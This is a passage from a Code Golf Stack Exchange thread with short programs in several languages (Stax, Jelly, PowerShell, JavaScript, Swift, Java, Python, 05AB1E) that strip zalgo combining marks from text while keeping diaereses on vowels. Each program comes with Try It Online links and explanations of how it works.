online!](https://tio.run/##JZJZW5JREMevez/FVFbabvtimZWZbbZZqVmSktEihVjZ@grEZiCI4oZaCigI4lLu5fPMebybuekjvF/Exro785//nPmdOWMz2y1NpsL1dUtdfvHm/OKiUzUms8Xa0lpbQN6CGtL3cO6Pr1ZbX99UbyWv9aXZZrKb4Y3F/gQaeMzCLgpQmPwcaq5nN4esNk7xV56kIGcaqJ9coJKg3LAWgbVOQ0/iCv7C34bea@h9hh4z9EHDNZKHIziKGUP/ZujfDX3E0KdwHqdwWs1rmglUHEzkhRJQLighr2YGNQFmUUpBtUOpKBZQObCIUg6qA8rJu6laeju5hzw8LCUS@MlBHZSgDC1eYT@PUr@gr1KMVsrkmBJzmNwcF9c0TVZImKI2TnOGkxyiefawj5bEPQOkc5zHeUDe7eURSjdKiV8e/JsdlGUPLZupXUK/ZLMUIad0jHMXpZq4kzcQnOLMcZSD1EtZytEsBzcqxjjMaQpzN0VlhDRgEluWHZwgl@Tc9EMyCUFYogm7gAZomXqtQjIhF3rJwRFK2CjEk@wSYgcP0aK09dCU@HKaFdQcyPdBBagoVMjEWkCtQIsolaBiUClKK6hVaBWlCtYWoEqUyqZ3FBX8mDTNmGQEUcpxF/ue0zBlG4VnkFZEjVCaA1bxDQrVIi1rmqbmKEjt5BNun5rjThl0QGaWpF8abN6yNW/b9h35BTt37d6zd9/@wgMHDx0@cvTY8RMni06dLj5Tcvbc@dILZRfLL12@cvVaxfUbN2/drrxz915Vdc392gcP60yP6hvMjxufWJ4@e/6iyfryla3Z3vL6zdvWd@8/fPz0GXVsQwc60YVf0I0e9KIP/diOXzGAQezAEIaxEyPYhd0YxR7sxT7sxwGM4SAO4TB@w@//1jGOCUziGI5jCtM4gRnM4iTmNtYSZ3AWf@BPnJM1XcBFXMLl/4uNq0pXbcqhnMqlvvwF) [Answer] # [Stax](https://github.com/tomtheisen/stax), ~~27~~ ~~25~~ 24 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` Ç╣>ñ↓í$▐wø⌐∞≤Ö1e╖ÖÅ╤Δ╩+º ``` [Run and debug it](https://staxlang.xyz/#p=80b93ea419a124de7700a9ecf3993165b7998fd1ffca2ba7&i=++++co%CC%88operate+with+d%CD%A7i%CD%84%CC%8D%CC%91%CC%8A%CD%90sc%CD%86%CD%90or%CD%A9%CD%8C%CD%AE%CC%8E%CD%ACd%CC%9A%CC%84+%C3%A6+%C3%86+%C5%93+%C5%92%E2%80%A6%C2%BC%C2%BD%C2%BE%E2%80%98%E2%80%99%E2%80%9C%E2%80%9D%E2%84%A2%24%C2%A2%C2%A3%C2%AC%E2%80%A0%E2%80%A1%E2%80%A2%E2%80%B0%C2%B7%C2%B0%C2%B1%C3%B7%0A%0Aa+%C3%A4+a%CC%88+A+%C3%84+A%CC%88%0Ae+%C3%AB+e%CC%88+E+%C3%8B+E%CC%88%0Ai+%C3%AF+i%CC%88+I+%C3%8F+I%CC%88+++Z%CC%9A%CC%83%CD%97%CC%87%CD%9FA%CC%88%CC%9A%CC%8A%CC%82%CC%8F%CC%A5%CC%AC%CC%B9L%CD%8A%CD%A3%CC%9A%CD%84%CC%BF%CC%9C%CC%BCG%CC%9A%CD%A9%CC%83%CD%91%CC%86%CD%A4%CC%82%CC%B1%CC%AEO%CC%83%CD%A9%CC%81%CD%AA%CD%AC%CD%A6%CD%90%CC%B7%CD%87%CD%89%CC%BA%CC%9C%CC%B2+%CC%80%CD%A4%CD%A8%CD%9B%CC%8D%CC%88%CD%A2%CC%AAg%CC%82%CC%8A%CD%AE%CC%BE%CD%82%CC%AD%CD%87%CC%BBe%CC%8B%CD%AE%CC%8A%CC%88%CD%AD%CC%93%CC%83%CC%AC%CC%A4%CD%94%CC%A9n%CD%92%CD%82%CC%8F%CC%83%CC%BE%CD%AF%CD%96%CD%8E%CC%98%CC%AD%CC%AF%CC%B3%CD%8Ee%CC%8B%CD%A7%CD%91%CD%AA%CC%91%CD%95%CC%96r%CD%A9%CC%9Ba%CC%BE%CD%AD%CD%82%CD%A5%CC%84%CD%A7%CD%86%CC%B4%CD%95%CC%A5%CC%BA%CC%BA%CC%ABt%CC%86%CD%8D%CC%BB%CC%98o%CD%A4%CD%AB%CC%83%CC%88%CC%82%CD%93%CC%A5r%CC%90%CD%AE%CD%84%CD%A6%CD%82%CD%9E%CC%B9%CC%A4%CD%87%CC%B0%CC%BB%CC%AF%0Ao+%C3%B6+o%CC%88+O+%C3%96+O%CC%88%0Au+%C3%BC+u%CC%88+U+%C3%9C+U%CC%88%0Ay+%C3%BF+y%CC%88+Y+%C5%B8+Y%CC%88%0AUnz%CC%96%CC%AC%CC%9C%CC%BA%CC%ACa%CD%87%CD%96%CC%AF%CD%94%CD%89l%CC%9F%CC%ADg%CD%95%CC%9D%CC%BC%CD%87%CD%93%CC%AA%CD%8Do%CC%AC%CC%9D%CD%8D%CC%B9%CC%BB%0A%0A%0A%C3%B6%CC%8E%CC%8B%CC%89%CD%86%CC%89%C3%B6%CD%92%CC%BF%CC%8D%CD%A8%CD%A6%CC%BD%0A+%21%22%23%24%25%26%27%28%29*%2B,-.%2F0123456789%3A%3B%3C%3D%3E%3F%40ABCDEFGHIJKLMNOPQRSTUVWXYZ[%5C]%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7C%7D%7E+%C2%A1%C2%A2%C2%A3%C2%A4%C2%A5%C2%A6%C2%A7%C2%A8%C2%A9%C2%AA%C2%AB%C2%AC%C2%AD%C2%AE%C2%AF%C2%B0%C2%B1%C2%B2%C2%B3%C2%B4%C2%B5%C2%B6%C2%B7%C2%B8%C2%B9%C2%BA%C2%BB%C2%BC%C2%BD%C2%BE%C2%BF%C3%80%C3%81%C3%82%C3%83%C3%84%C3%85%0A%0A%0A&a=1&m=2) Now handles the Y, and uses no regex. Unpacked, ungolfed, and commented, it looks like this: ``` 400Vk|r push range array [400, 401, ..., 998, 999] 776X- store 776 in the X register, and remove it from the array - remove all the *remaining* codepoints from the input { start a block for filtering the remaining string x- subtract 776 from the codepoint; this will be truthy for all other values M bitwise-or; if there's only a single value on the stack, no-op Vv'y+ "aeiouy" _]v# current character in lowercase; is it in the vowels? s swap top two stack entries so the lower value can be used in next iteration f complete the filter and output implicitly ``` [Run this one](https://staxlang.xyz/#c=400Vk%7Cr%09push+range+array+[400,+401,+...,+998,+999]%0A776X-++%09store+776+in+the+X+register,+and+remove+it+from+the+array%0A-++++++%09remove+all+the+*remaining*+codepoints+from+the+input%0A%7B++++++%09start+a+block+for+filtering+the+remaining+string%0A++x-+++%09subtract+776+from+the+codepoint%3B+this+will+be+truthy+for+all+other+values%0A++M++++%09bitwise-or%3B+if+there%27s+only+a+single+value+on+the+stack,+no-op%0A++Vv%27y%2B%09%22aeiouy%22%0A++_]v%23+%09current+character+in+lowercase%3B+is+it+in+the+vowels%3F%0A++s++++%09swap+top+two+stack+entries+so+the+lower+value+can+be+used+in+next+iteration%0Af++++++%09complete+the+filter+and+output+implicitly&i=++++co%CC%88operate+with+d%CD%A7i%CD%84%CC%8D%CC%91%CC%8A%CD%90sc%CD%86%CD%90or%CD%A9%CD%8C%CD%AE%CC%8E%CD%ACd%CC%9A%CC%84+%C3%A6+%C3%86+%C5%93+%C5%92%E2%80%A6%C2%BC%C2%BD%C2%BE%E2%80%98%E2%80%99%E2%80%9C%E2%80%9D%E2%84%A2%24%C2%A2%C2%A3%C2%AC%E2%80%A0%E2%80%A1%E2%80%A2%E2%80%B0%C2%B7%C2%B0%C2%B1%C3%B7%0A%0Aa+%C3%A4+a%CC%88+A+%C3%84+A%CC%88%0Ae+%C3%AB+e%CC%88+E+%C3%8B+E%CC%88%0Ai+%C3%AF+i%CC%88+I+%C3%8F+I%CC%88+++Z%CC%9A%CC%83%CD%97%CC%87%CD%9FA%CC%88%CC%9A%CC%8A%CC%82%CC%8F%CC%A5%CC%AC%CC%B9L%CD%8A%CD%A3%CC%9A%CD%84%CC%BF%CC%9C%CC%BCG%CC%9A%CD%A9%CC%83%CD%91%CC%86%CD%A4%CC%82%CC%B1%CC%AEO%CC%83%CD%A9%CC%81%CD%AA%CD%AC%CD%A6%CD%90%CC%B7%CD%87%CD%89%CC%BA%CC%9C%CC%B2+%CC%80%CD%A4%CD%A8%CD%9B%CC%8D%CC%88%CD%A2%CC%AAg%CC%82%CC%8A%CD%AE%CC%BE%CD%82%CC%AD%CD%87%CC%BBe%CC%8B%CD%AE%CC%8A%CC%88%CD%AD%CC%93%CC%83%CC%AC%CC%A4%CD%94%CC%A9n%CD%92%CD%82%CC%8F%CC%83%CC%BE%CD%AF%CD%96%CD%8E%CC%98%CC%AD%CC%AF%CC%B3%CD%8Ee%CC%8B%CD%A7%CD%91%CD%AA%CC%91%CD%95%CC%96r%CD%A9%CC%9Ba%CC%BE%CD%AD%CD%82%CD%A5%CC%84%CD%A7%CD%86%CC%B4%CD%95%CC%A5%CC%BA%CC%BA%CC%ABt%CC%86%CD%8D%CC%BB%CC%98o%CD%A4%CD%AB%CC%83%CC%88%CC%82%CD%93%CC%A5r%CC%90%CD%AE%CD%84%CD%A6%CD%82%CD%9E%CC%B9%CC%A4%CD%87%CC%B0%CC%BB%CC%AF%0Ao+%C3%B6+o%CC%88+O+%C3%96+O%CC%88%0Au+%C3%BC+u%CC%88+U+%C3%9C+U%CC%88%0Ay+%C3%BF+y%CC%88+Y+%C5%B8+Y%CC%88%0AUnz%CC%96%CC%AC%CC%9C%CC%BA%CC%ACa%CD%87%CD%96%CC%AF%CD%94%CD%89l%CC%9F%CC%ADg%CD%95%CC%9D%CC%BC%CD%87%CD%93%CC%AA%CD%8Do%CC%AC%CC%9D%CD%8D%CC%B9%CC%BB%0A%0A%0A%C3%B6%CC%8E%CC%8B%CC%89%CD%86%CC%89%C3%B6%CD%92%CC%BF%CC%8D%CD%A8%CD%A6%CC%BD%0A+%21%22%23%24%25%26%27%28%29*%2B,-.%2F0123456789%3A%3B%3C%3D%3E%3F%40ABCDEFGHIJKLMNOPQRSTUVWXYZ[%5C]%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7C%7D%7E+%C2%A1%C2%A2%C2%A3%C2%A4%C2%A5%C2%A6%C2%A7%C2%A8%C2%A9%C2%AA%C2%AB%C2%AC%C2%AD%C2%AE%C2%AF%C2%B0%C2%B1%C2%B2%C2%B3%C2%B4%C2%B5%C2%B6%C2%B7%C2%B8%C2%B9%C2%BA%C2%BB%C2%BC%C2%BD%C2%BE%C2%BF%C3%80%C3%81%C3%82%C3%83%C3%84%C3%85%0A%0A%0A&a=1&m=2) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 29 bytes ``` 768r2ȷỌ ẹ9ị¢¤©fẹⱮØyF‘ƊœPḟ€¢j® ``` [Try it online!](https://tio.run/##PVTJchpXFN37K2DlvRdx8gPZxr@QKimVcqmklKKNeoWggWZoZsQMEQ1I0AIsYUsINFThcsqLczb6A/Ej5DRupYD3uuvde989w@Xj7t7e8Wbz/qefD999v31Zpt@8LO5@eVmmVt1VbzX8Q2/rq8nX6vGv61D13@S34oeXeWcdvlx1P64mm83mtz8D@2gcsBvYQZ4mhwf7dN4ifcQeK3gM7HBMhzkUEWVB@4w2JrjEUnt1FxFGlJRDSccWeuiwjjFLcP9GHjanyMDEiRd/xLAu6MFCBFmWcYUKnEOOEUcanw54zgtVayCyDqXXoRROscDsGBn2kVVxEwm00cFUB/3A76jjiUmtFlIssojeodo1ccEq48psHTGPFGJacwjhEXMdlFhX1/dooo@rwF9Mq/E4TEEYsaL0HEcoCs4YT@o@ixt2WfVuZAYjoXZwpQqZPQ4RwyNdJZzD4oRhUdPXPkEXX7ZJY32mGAjjpZ5m6umUQmT8AMepbnSU/KDuYkrOq2BUHRRREGM3bLNJmwmfis6WjBqjBgtIcqD7BkoaqNGsmO8KdZ1lP3iEpYG6jivMaXURV5iJsKiPibEcL9lgwQ9@5Jm4cBmXbC1D/DtqKKr0nOg9USNZ3GLmN23jDhVDMEdSNCLmbTx4ono3qN9/cIY5zl7lU8WeGLtWfQf3hgCnBdnUPkJBOGQ1vAIs8kLqmzhjlq3nhG7yhJ4xik9K78A1xFDYD64LRRwNfHlO4Bxl3LHsqWoImis1pnQZY8oPDjGrsBruWdNaMwTsQfgHW@XzqnKr39QPbkvnpry0FNA7@WQIFy0ltgxVHWwlmmLuB5e3gUv0WZPzXVRpGdJOWkpXWyyZYv@VjblGYqZ6U3Vbl/Ud3VRlAtdBjw@mxLmN/P89p8T9nF01dyE9HRHZREUpbSXZWj0D@6p4DWoAyopRsRw9NaS75iYsWzQZ8jRhxg92ZMKhNBEVejrVfh1EiWlNZGTr5Iqk9InmiZJvZTwHVfm4zagGyGYtKBnlAU1kXamuXzklRkNMSpuSNwJi9UaYK0pdBJGUT0MifuxXnigwIvq9oc4L6QkaImOpWenJOEWhW@gPpuRHy0pB2bEg8uO6WwTBQ/gk2/TYwWeBX7AUOIS1u/3uwzqCpddjWP8B "Jelly – Try It Online") A full program that unzalgos its argument. Filters out all characters with code points between 768 and 2000 except diareses on vowels. ## Explanation ### Helper link: characters from code point 768 to 2000 inclusive ``` 768r2ȷ | Range from 768 to 2000 inclusive Ọ | Convert from code points to characters ``` ### Main link ``` ẹ | All indices in input string of: 9ị¢¤© | - the ninth character in the helper link (i.e. ̈) (which is also copied to the register for use at the end) f Ɗ | Filter keeping only those in the result of the following, applied to the original input as a monad: ẹⱮ | - Indices of each of the following: Øy | - Vowels plus y F | - Flatten ‘ | - Decrease by 1 œP | Now split the original input at each of these indices, discarding the character at the index itself (which will be a diaresis following a vowel) ḟ€¢ | Filter each of these lists discarding any characters in the helper link j® | Join using the stored diaresis ``` [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 43 bytes ``` $args-ireplace'([aeiouy]̈)|[̀-ͯ҉]','$1' ``` [Try it online!](https://tio.run/##5VZbVxtVFH52fsWhxgaUqvV@t1VrrVbxhlpr1QiRosjQIVhJWx2SQCaEkECAhJBAISGQG6HQcr@sdWb1be@X/oT8kfpNmLp8cPngci0f5HLOzDl7n7P39317Jz3qVbfWe9nd1XXf8Z14VVy773BpHb0nOjV3T5erze1svOhyd6p9/ZfIaLp@kfQTXL0XuuRsdjpOOu/fUJTGU06l5bLophmVF0Q7jXGAC2o3Z5004uEcJ@hAtHOFsxyjOA3yOOZ1jtAKlWkXc9JNfvbDKUYT2DYoR3OcogpPUKmXxijCVRqlAA1Y9h724YIcGeSnKE/SLUpQVuMKBWmEVlVe4mWcNkP@mj5S08M0RTu03k@jvEhRHB6gEM3SHFWxsShclKJDHsZoUJjjHKechnADtMxJDsIz4@ExCtMQxhjpdEBb2JjgFKLeozQt0i3RwyMIPEgBpFDkBNxjXKQ40qnQIaKP0gYvcNK6kUepiKyzdAsnjHZxgYbogEtwWCKDV9gHaBYxr9AC3ak7VfBbpTxyLONpHTFNMTLyHiXHVdyYhfM@ohuC8xgOHEQEcRoHYhs8y2mOcMiGYq4OxjQPenmchjmP@/JwyiPQKJBfQNYpnrSNi7TrpRS2ExzDWKIgzALkA/RDQCzGZZ7hcdv4gOeBRYmDoC3jBf5ZBDQI9xjgHUAgUdqkdTvoCG1Twos0i2DUD@QjtG@Rat2AeG/SPG3R/AP6cGIOiK3h/CzteZHwCFIOYC7SOPKA1OhBgnFeBvsBmucoZ@6FcJNF9DoP0irc56jkBUI@2ziFLII0Q3fuhWiJJmmbJy1WvUitBDaqXOIhDtvGOkdhNk17PI1x2ovE9pF/vs78GE7ZxH/VNp4Fz2loaReJbkMnBSpRBo4ZL07N1ymq0pZtPFk33KVFnobyS5RkwwvuwCV4jQClANB/gMYWSmId51URbQrSz@KmJIdorcHCg8PAPEJjf8QcBvZbvIDglsFnFkCmKQGXWThFMFoCtlmxAkQBTMIGh8XYYgO8o258kEWadYsTHrWNsxBhAZwACjxNYV5roAkeQUX660pOgEobaB6A8yaEl6UkdDzLgyigCE83gEZoABWZgmvJPjkMRHUeBjcTVgkA1Q3knIDrTgMNQ6c6gK/YJ6/A0A/4raIeQ6YDNAMwdlErOQgnjux20GAmbGtIqQFyHAf4QdwNgMjK8BCyyfEc3UbyOzyhOE81C6fVzlTRrnY7nR7R7u71aOrRKf3CpXlET5ddgUej91@ZGv58ZMPfTPaLs6lZaXR6yRAqhZwI2ivUozWNDHf9r5sMDxl47SfDstDsZY9mLVi2aN0PtalkqD1uzeVxi6udnsto1kud4AVSQpuI9bahEGKqxgWU3goUUW4HZQFh5oU5JO7GxV20gbzck/vyoKYna/p0TU/X9EwtsOCQCzIryzX9Zk2Hhhdq@qrclKvylrmpKC5h5tCBDXFamAFxmgzFLcySQHzijDDD4gxWOoVZFZ1YOSfMqDhHxkNf4m4/WlyQ5@CCl2HyQRaLIH37PPSQRWEHQGqa9s7isQBjdEV0LR/qZaUFrwUagOzK9eLdRMsKQSVpWhPQXQ4NZAZ5G1BesQMuw0j4ACVQQefddUOdK7jPQCeMo3NBZtBmoRuSskLww7LKVpNP1rv2Oo9aHkuo5CI@siZpChDSjAtmKA58HgWwN1TXnSXUHSp5EGgE@k2qiKRU740@S8YahGo1Aqtjz6Kl5BDNKuyqiirMDdBviBZhTokWINYnzD3Rh5VWYaZFK1b6hXkowLe4IO5uiQtYae32omjLyHqHyi5AMEVVFGWoCz2y0oF4Mmh0Qdxc5IgKu0y9Z@8qimJuoDeFKYS4Q@ZGvXoiwCxP@4poOPaw45HjzsamRx9rPvH4E0@efOrpZ5597vkXXnzp5Vdefe31U6ffePOtM2@ffefcu@@df/@Dlg8/@viTT1s/@/yLC19e/OrS19986/qurd39fcflzh9@7PqpW@25ovV6@n6@@ku/99r1G7/@JnU5IH3SLwNyUA7JoDRkSA7LsByRETkqozImx@S4jMsJOSmnZEIm5bRMyRmZlhk5K@fkTTlfl2NOLsq8XJLLsiCLsiTLsiJXZNWSpVyT6/K2vCM3INMtuS135O6RsOWhqZsDps/0mwFz0GoSyl@XTmdvm6q1/1fFAcPzZ1tEh7vbiknV/rlAXF0dap1wc@P/Rm2TuK48Iq4pAj@Onmbh@AXfih3fHL1reD4u8EXZ0VNfOOZoxP4J9xVsNb2E4Zhy4/7v) +1 to [@tsh](https://codegolf.stackexchange.com/users/44718/tsh). Readable versions: ``` $args-ireplace'([aeiouy]\u0308)|[\u0300-\u036f\u0489]','$1' ``` ``` $args-ireplace"([aeiouy]$([char]0x308))|[$([char]0x300)-$([char]0x36f)$([char]0x489)]",'$1' ``` [Answer] # JavaScript (ES6), 51 chars/60 bytes Complete golfness: ``` x=>x.replace(/([^ -ʷ -₿™̈]|(?![^aeiouy])̈)/giu,"") ``` Escaped golfness: ~~(As Unicode escape sequence doesn't exist, I write u+xxxx as <xxxx>.)~~ ``` x=>x.replace(/([^\u0009-\u02b7\u2000-\u20bf\u2122\u0308]|(?![^aeiouy])\u0308)/giu,"") ``` [Answer] # [Swift](https://developer.apple.com/swift/), 115 chars, 119 bytes (UTF-8) ``` import UIKit let f={(s)in(""+s).replacingOccurrences(of:"([aeiouy]̈)|[̀-ͯ҉]",with:"$1",options:.regularExpression)} ``` (based on tsh regex) [Answer] # [Java (JDK)](http://jdk.java.net/), ~~120~~ 50 bytes ``` s->s.replaceAll("(?i)([aeiouy]̈)|[̀-ͯ҉]","$1") ``` [Try it online!](https://tio.run/##PZJtVxtVEMff76cYI9ZES2ytj8W2UgsVbUVFVAqo22STLg3ZuLuhBopnGyJsglAeasQWrKVJaEJC6INQHlrOuffwbuaNH2G/SBzanp6z5@ydmf/M/O7cGVCH1OaB8OVGKKZaFpxX9fiIosdtzYyoIQ3aR7psU49HIeJ/cbACLaNKInkxpofAslWbf0OGHoZBznyh6e0H1YxagRGlHSInGlbzSStoaokYF2yNxfw@/yk94O9VNd1IpvrRDVztRaeZ6v9l@32HfU1HfYFGixIxzJcdjz8vB10py9YGg0bSDiY4Ysfi/kgw4rcCgRZldLTRGEYXDMw2THS1Z18cXRtdNlPoNpSQga6R0EzV1uCKbl@CMK3olMEpnMUczVghGqcZw6Qy/U5rOE3VMN7EDMgSyHHYn4f9Oc8piV3xRDz1nAXP@ctzFj1nycssN4llcVdUPecfz7njOcuesy42xbq4LzcVRQVZAJXRWkFmoBVdRQO5CowHbSAnoY09Osg66OzpAHkdOvgAcIG7j9GfOEG3OYmNHKbxOhaxilvnKEd38SbD7@Ei7p7lY5nFszhOBVbdx7VONst4jSpUpRLN4CZNUBa3Wf0A0KEC3aNbfHOXlrES5ZQcX/kppbFGE7ij4SSbOY7WcB7HuGOBbmA5TnN0gDDGyjrlaRoXsIZ1fEjTBxkrNEsVnKU/MM9DxFsqy2qUpiJmODaOjzhSZIRtXLUZdAp3cMFgklUu6GKa5rFo4gytUYaJ0/Q3bnHbCVxnXV0xQG7w47rQCTIPnTyzJMhdSLKnG@QidLMnBXIP@KmhB/YfQw97uuPDmGf8RW5aVXkEeazTDcrG8DbWosyzhLvsnccKTRmsW2KqLdxRFEVu4DROYpa5s3KD5njQUzyzEj5R4BXfq02vHXrdH3jjzcPNwbeOHH372Dvvvvf@Bx8eb/noxMlTH7ee/uRMW/vZTzs@@/zc@S86v/zq665vur/97vueC719ff0//Nj3k3oxFNYi0Uv6wOXYYNxI/GxadnLoyi@p4ZGro7@CuPNsoQqiKEpiRdwTZVERq6IqamJN1A8WSzwQD8Uj8a/Y4EV7LLbEtth5vppiTzrymkzLMZmRv/0P "Java (JDK) – Try It Online") Based on [Holger comment](https://codegolf.stackexchange.com/questions/188472/operation-unz%cc%96%cc%ac%cc%9c%cc%ba%cc%aca%cd%87%cd%96%cc%af%cd%94%cd%89l%cc%9f%cc%adg%cd%95%cc%9d%cc%bc%cd%87%cd%93%cc%aa%cd%8do%cc%ac%cc%9d%cd%8d%cc%b9%cc%bb/188518#comment451717_188477) and [Benjamin Urquhart comment](https://codegolf.stackexchange.com/questions/188472/operation-unz%cc%96%cc%ac%cc%9c%cc%ba%cc%aca%cd%87%cd%96%cc%af%cd%94%cd%89l%cc%9f%cc%adg%cd%95%cc%9d%cc%bc%cd%87%cd%93%cc%aa%cd%8do%cc%ac%cc%9d%cd%8d%cc%b9%cc%bb/188518#comment451607_188477), itself based on tsh regex. [Answer] # Python, 63 bytes Uses the [tsh regex](https://codegolf.stackexchange.com/a/188477/84303) ``` lambda s:re.sub("(?i)([aeiouy]̈)|[̀-ͯ҉]","\\1",s) import re ``` [TIO](https://tio.run/##VZNtUxtVFMff76c4rrUmSqu1PlZrpRYrWsUnVEpQFwiwFrLpJrEGq7MNETZBKA81Ygu2pUloQkLog1AeWmbuHd79z5t@hP0ieKgzzjizL@75n/@953fPPRtPJwec2NG9vuORvUFrqLvXosQxN3o4keoOmaETdjjUaUVtJ5Xugh@@2AnvEDce57rMJjMSOWI2JcKGPRR33CS50b24a8eSob6QOQyfHOTMcNj4T3PhR598MfhJ@BKm4f/PYZpGjwPfiUddKxmlC3ZygHp5yeYsJjCNPE8leniUpxyXK/wbr2CSa724iizpMulR2p2l3ZnAK6tt9VA9Cry5wPsz8OYDbyHILh5Qi@qWqgXejcC7GXiLgbeq1tWquqPXDcMiXSRLoJtJZ6kZvhElvUwCSy2kx6lFFJt0g2xRWklfplZZEJ2V6iP8B8b4umySII8MLqOEGjbOcJ5v4arA72Ae26dlWRHzNEa5KK47WGmTsIJLXOUal3kK6zzGOWyK@y7B4yLf5mtyc58XUe2XLXm58iPOoM5j2IpiXMK8ZOuYxYhULPIVVGI8w/sII@JscIEnMYc6GrjHk/s7lniaq5jm31GQJuKaJbY6Z7iErORGcV8yJUHYxHJSQCewhTlHSJblQB8ZnkXJxRSvcFaIM/wXNqTsGFbF1zAc0mvy7D61kS5Qm/QsRXqbUqK0k56ndlHSpHdIHp46aPcBdYjSHhtGQfDnpWjNkhYU0OArnBvEddT7hWcB26LOosoTjvgWhGoDW4Zh6DVMYhw54c7pNZ6RRk9Iz8p4aNBT5tMHnjn4bCj83PNNhw6/8OKRl46@/Mqrr73@xrE33zr@9ol3mk@@e6rlvdPvt37w4ZmPPm775NPPPv@i/cuvvu442xmJdH3zbeQ7q7unN9rXP2B/f25wKObEz7uJZOqHCz@mh3@6@PMvpG4@GaiiKqmyWlK3VUVV1bKqqbpaUY39wVJ31T11X/2t1mTQHqgNtam2/h1NtaM9fUln9IjO6l8NGXz5DYy9fwA) [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 32 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` žAžHŸ776©KçKεǤ®Qi¬žOsçlå≠iн]˜çJ ``` This took longer than it should have, and I'm still not very happy with the result.. Definitely room for improvements.. Removes all characters with code-points in the range \$[512,65536]\$, except for vowels with diareses. [Try it online.](https://tio.run/##PZbpdltXFce/6ymOQ6FAmcrQMEOA0KYpmAIBUijgJG5iSK1gKwSLYSmSrMGyJk@SbXmULFuT5djxKA9r3bv8ib1ZrD6CXiT8zq2Cp6t7vc8@@z/sfa5/dODO0OCLF5fn1y7P37o8unr1Dad20928@Z99N@5UnO13h5zm5Xn/qLv50N3oJleH/nv2/r9L7ubbL15cuXLF8HXXLwn/o8GRgcCgeTIUeGDu6eaQRiUteZnQ3OhdjWnOP6I1ndRtyWjznixI1LhV48bM5bS5nOqGqs6pc@acd0PFbmi@Gyp1Q0vd6PorzrpTdprd0Go3tNYNrXdDO86hs@M8cw99vtdeNx/oqq75dWlEZo0kJSc5rWtT8mw0IVGJ8CwvUzKlK7IiBTmV4zsSl1VNSlP2pK7TOqsZv8QkplVdlCIPm1LQzJgWJCVx/rJYQiTJSFkTd8l9JhNS1IwuyLImpOgHUVYn2SqkU7rJ9VT2yL8S0EUypoA@qRmynga4yeu8bHBb1BmdHdI2uaIeUUm5kIRMyq5s67zOSmOYvCnJUtoUVTRYNavjbDknJ/dtpEY1xpqidKQEtpqcGGIvNKUN8M0Ta3/LT6j3Qs6pO6PrciQrQ2y1r2u6LEvkKlHtiS3MgqiQZY9FDZ1/AH1xmZHnsiFNnZaWzhtA5mQcIqJaYPe8PpV9mSOgJisfQrnVeku3dQLgVUlqHVgxG/RRUmbtbqTeGNQWtVteyhLWiEQ0LAsgOZBZNFqElrQcyw7s7khbE31k3CBXlGsYHjJWWFhOsE@eYsa9KvdB0yE8DXFVFtqaFzRtfL7@B2ZYFv26bu5RYVRr/mEtvyqTAa2Q7RyjtrSsOZmWcdTLAT8t24jV4VocpLoIi3JsMY7WFVmhrpbOSGMUR6SRDzLkqY0PgCMPgwkMkKWMZ7itPALYOKLu@HVTt8i2KJFuaLIbSsHbieyNgWcDjcexQFKWkbFtCTUDtMcFCiyQLoVHp6UyQrlR2dKixlm5FAB9CnbzSBKSczlS6ygwo2cJ/M/MI5jKsXsUCHUEK9jWkGngtDBEnl0PdF2Ldkf8WAd1WZ6RIfNQaxjpHBvlekSHoWaD67asQ7Vd1OK7DdUFoLcgLU4SEAU/Bqdtdiyz@IzqYizOk3CcCqbppQz7LmsJrZI9KlY8MnBrUKewUJX9qiyqUmgW5tdBvaCzveC6dIIYhp7QHH8b9GgLYsJQH4OxnDZx31Qv@FzX4KKhcWRbCsJ/2XPwAsRcYMwDzcqh7PWKtr4rBIFZR9EIzKflzIpqd6DeVVmjfdZeykfGCoztkr8sp0EATwI5yrVOw05Be01eApzGvFsUuaZZXfooyU5WaNtp1qor0gjCULgXvOB13qLXNZv0zTF9j6pBoDVQo60NJkqqFxzSLGHzcspY4TsIsDPbfZ7yebIc8tvuBS@jcwkvdQB6jE9qTJUlFi4FyVr1JGrLUS941gvsMHbmcX6DgZUIoh1aomsalqKw/5KNI1pij3xtql3A@mVvwiVlt8/yoSk45yj4f80puD9iGh3KFnqWIbJkZy4NUATqsmfgniq2QDukiSFZTq0a6E7fhLFFSUNWE830gsuYsIYmUMGnOa67fTLD3MoyaayTC0jZI1qfsvgQ45WZoQXIGbezR@f7kBEP0JELLG30MqdgNMTkmfCmzTqsHoC5wNKTPmZ4liY801Yvsx2BEeiPeqfPEWgXIaNDr1QwzjToThgwM71orNSHHacgP87eECQW4QW2qTASnwP@RGfMiCQGvZ9hSQQkwe2YJHy@AeNWmBcJc824UXONR4PGbRjizHXjpsx1ngwZt22GeHLDuFlzgw/GvAe8CC0Z1xUWcTMhYWAwOeX4HeovY8QoRXBAvMnHGsF0MV0WRt/tfm5r8tSetZ7ZDmmxJKhKsmvgqYLhF5E8AVP1@yyZYHacI1mLSdEZ9I6bCf7bYiJELC1wWRuGAltChMi22qFU9KbMnmbsik2cV2fEzsocLxKyOEAYYjI/o/wv5vFkiT2RRoBC0/DN2VyhaWwvhy3tIxBrjWsnzDItUKGaHXtw@PzGPTC8xJh@486Zfjh7bNxT85gnt4xbMrd4MmbcCwPn5ra5PDK3eXJrOIjJmqA@keYAFMxxBs1o8iE93bpPPUs0Zpyd65r2E7fkzZiOz@dzD@ilFOdaTJLugad2Gs6qcuYzfVc@8conP/Xqpz/z2dc@9/kvfPFLr3/5K1/92htXv/6Nb37r29/57ve@f@0HP/zR9R@/@daNt2@@85Of9v/s3Z//4pe3fvXr39x@77e/e//3f/jjwJ279wY/uP9g6E9/fvjhsP/RX0ZGA4//@uRvY8G//@Of/zLOmvdKVXE2nKqz6Ww5NafuNJym03K2nbZ9tXJ2nT3nubPvHPCqdeQcOydO5@OXM@fCDblP3bAbcaPuOC9//wM) **Explanation:** ``` žA # Push builtin 512 žH # Push builtin 65536 Ÿ # Create a list with these ranges: [512,513,514,...,65534,65535,65536] 776 # Push 776 © # Store it in variable `®` (without popping) K # Remove it from this list ç # Convert all these integers to characters with these code-points K # And remove all those characters from the (implicit) input-string ε # Then map all remaining characters to: Ç # Get the code-points of the current character ¤ # Get the last code-point (without popping the code-points themselves) ®Qi # And if it's equal to variable `®` 